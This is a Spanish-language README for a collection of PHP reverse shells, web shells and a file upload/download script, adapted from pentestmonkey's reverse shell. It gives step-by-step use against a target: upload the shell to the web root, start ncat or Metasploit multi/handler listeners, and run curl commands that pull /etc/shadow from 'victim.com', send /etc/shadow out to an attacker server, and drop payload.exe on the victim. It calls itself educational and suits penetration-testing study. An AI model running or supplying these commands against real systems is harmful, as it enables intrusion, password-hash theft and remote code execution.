
Shells de PHP que funcionan en Linux OS, macOS y Windows OS.
Solo un pequeño repaso al popular script de shell inversa en PHP pentestmonkey/php-reverse-shell. ¡Créditos al autor original!
Funciona en sistemas operativos Linux y macOS con /bin/sh y en sistemas operativos Windows con cmd.exe. El script detectará automáticamente el sistema operativo subyacente.
Funciona tanto con ncat como con multi/handler.
Probado en:
Las tuberías de procesos en sistemas operativos Windows no admiten operaciones asíncronas, por lo que stream_set_blocking(), stream_select() y feof() no funcionarán correctamente, pero encontré una solución alternativa.
Creado con fines educativos. ¡Espero que te sirva!
/src/reverse/php_reverse_shell.php requiere PHP v5.0.0 o superior.
/src/reverse/php_reverse_shell_older.php requiere PHP v4.3.0 o superior.
Cambia la dirección IP y el número de puerto dentro de los scripts según sea necesario.
Copia /src/reverse/php_reverse_shell.php al directorio raíz web de tu servidor (p. ej. a /opt/lampp/htdocs/ en XAMPP) o súbelo al servidor web de tu objetivo.
Accede al archivo con tu navegador web preferido.
Consulta el simple PHP web shell basado en peticiones HTTP POST.
Consulta el simple PHP web shell basado en peticiones HTTP GET. Debes codificar en URL tus comandos.
Consulta el simple PHP web shell v2 basado en peticiones HTTP GET. Debes codificar en URL tus comandos.
Consulta el script simple de subida/descarga de archivos en PHP basado en peticiones HTTP POST para la subida de archivos y HTTP GET para la descarga.
Al descargar un archivo, debes codificar en URL la ruta del archivo.
Dependiendo de la configuración del servidor, descargar un archivo a través del parámetro de petición HTTP GET puede no funcionar siempre; en su lugar, tendrás que fijar (hardcodear) la ruta del archivo en el script.
Accede al script en el servidor web de la víctima con tu navegador web preferido, o usa cURL desde tu PC.
Sube un archivo al directorio raíz web del servidor desde tu PC:
curl -skL -X POST https://victim.com/files.php -F file=@/root/payload.exe
Descarga un archivo del servidor a tu PC:
curl -skL -X GET https://victim.com/files.php?file=/etc/shadow -o shadow
Si elevaste tus privilegios iniciales dentro de tu shell inversa, este script podría no tener los mismos privilegios que la shell. En ese caso, para descargar un archivo concreto, puede que necesites copiar el archivo al directorio raíz web y establecer los permisos de lectura necesarios.
Desde tu shell inversa PHP, ejecuta los siguientes comandos cURL.
Sube un archivo desde el PC de la víctima al directorio raíz web de tu servidor:
curl -skL -X POST https://my-server.com/files.php -F file=@/etc/shadow
Descarga un archivo del directorio raíz web de tu servidor al PC de la víctima:
curl -skL -X GET https://my-server.com/files.php?file=/root/payload.exe -o payload.exe
curl -skL -X GET https://my-server.com/payload.exe -o payload.exe
Para configurar un listener, abre tu consola preferida en Kali Linux y ejecuta uno de los ejemplos siguientes.
Configurar el listener de ncat:
ncat -nvlp 9000
Configurar el listener de multi/handler:
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/shell_reverse_tcp
set LHOST 192.168.8.185
set LPORT 9000
exploit

Figura 1 - Ncat

Figura 2 - Volcado del script